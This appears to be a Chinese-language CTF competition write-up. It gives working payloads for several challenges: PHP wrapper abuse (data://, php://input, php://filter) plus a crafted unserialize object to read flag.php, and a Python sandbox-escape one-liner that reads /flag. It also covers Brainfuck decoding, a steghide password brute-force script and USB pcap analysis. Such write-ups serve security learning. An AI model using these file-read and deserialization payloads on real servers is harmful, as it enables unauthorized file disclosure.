1. WEB
1.1 EasyPhp
<?php
$sz_txt = $_GET["sz_txt"];
$sz_file = $_GET["sz_file"];
$password = $_GET["password"];
if(isset($sz_txt)&&(file_get_contents($sz_txt,'r')==="welcome to jxsz")){
echo "<br><h1>".file_get_contents($sz_txt,'r')."</h1></br>";
if(preg_match("/flag/",$sz_file)){
echo "Not now!";
exit();
}else{
include($sz_file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
$sz_txt使用data://或者php://input伪协议,接着$sz_file使用php://filter伪协议读取源码即可
?sz_txt=data:text/plain,welcome to jxsz&sz_file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码得到useless.php源码
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("So cool,continue plz");
}
}
}
?>
构造反序列化poc,直接修改属性$file为读取源码的文件名即可
<?php
class Flag{
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("So cool,continue plz");
}
}
}
$res = new Flag();
echo serialize($res);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
修改GET参数:?sz_txt=php://input&sz_file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
POST内容为:welcome to jxsz
flag{4a5a802f-6a37-44d4-8a49-e9066dfd6474}
1.2 ssrfME
1.3 sandBox
题目给了一个ip:port
通过nc连接
nc ip port
看到报错可以知道是python的解释器
大概知道应该是python 沙箱逃逸
即:
().__class__.__bases__[0].__subclasses__()[40](r'/flag').read()
1.4 parseHash
uploadFile
Misc
2.1 face
发现是BrainFuck
https://github.com/Knorax/Lennyfuck_interpreter
跟着对照表替换即可
++++++++++[->++++++++++<]>++.++++++.<+++[->---<]>--.++++++.<++++[->++++<]>++++.<+++++[->-----<]>---------.<++++[->++++<]>++++++.++++++.<++++[->----<]>------.<+++[->+++<]>+++.<+++++[->-----<]>----.<+++++[->+++++<]>++++++++.++++++++.<++++[->----<]>--------.+++.<++++[->++++<]>.<++++[->----<]>-.++++++++.+++++.<+++[->---<]>------.+++++++.-----.++.++.------.<+++++[->-----<]>-----.<++++++[->++++++<]>+++++++++.<+++[->---<]>-.-----.<++++[->----<]>---.<+++++[->+++++<]>.+++++++++..<+++[->+++<]>++.<++++[->----<]>---.<+++[->+++<]>++++++.<++++[->----<]>--.++++++++.<++++[->++++<]>++.<
在线解释网站:
https://sange.fi/esoteric/brainfuck/impl/interp/i.html
得到flag:
flag{You_kNow_brain_face_And_Lennyfuck}
2.2 DestoryJava
解压题目之后,发现是一个mp4文件,一看视频,还真是销毁java
先使用binwalk 发现里面有一张jpg的图片
将这个图片dd出来
然后通过steghide info 发现隐藏了数据
用脚本爆破
# -*- coding: utf8 -*-
#python2
from subprocess import *
def foo():
stegoFile='flag.jpg'#这里填图片名称
extractFile='output.txt'#输出从图片中得到的隐藏内容
passFile='password.txt'#密码字典
errors=['could not extract','steghide --help','Syntax error']
cmdFormat='steghide extract -sf "%s" -xf "%s" -p "%s"'
f=open(passFile,'r')
for line in f.readlines():
cmd=cmdFormat %(stegoFile,extractFile,line.strip())
p=Popen(cmd,shell=True,stdout=PIPE,stderr=STDOUT)
content=unicode(p.stdout.read(),'gbk')
for err in errors:
if err in content:
break
else:
print content,
print 'the passphrase is %s' %(line.strip())
f.close()
return
if __name__ == '__main__':
foo()
print 'ok'
pass
获得密码password
使用steghide提取信息
发现是Base85编码的,获得flag
2.3 HidePig
解压题目,发现里面有两个文件pig2.pcapng
pig.pdf
通过分析pig2.pcapng,发现是用的USB流
通过UsbKeyboardDataHacker获得流量包的数据:
然后是pdf,通过观察hex,发现应该是通过wbStego4open隐藏了数据
使用wbStego4open解密提取文件即可
flag在生成的txt中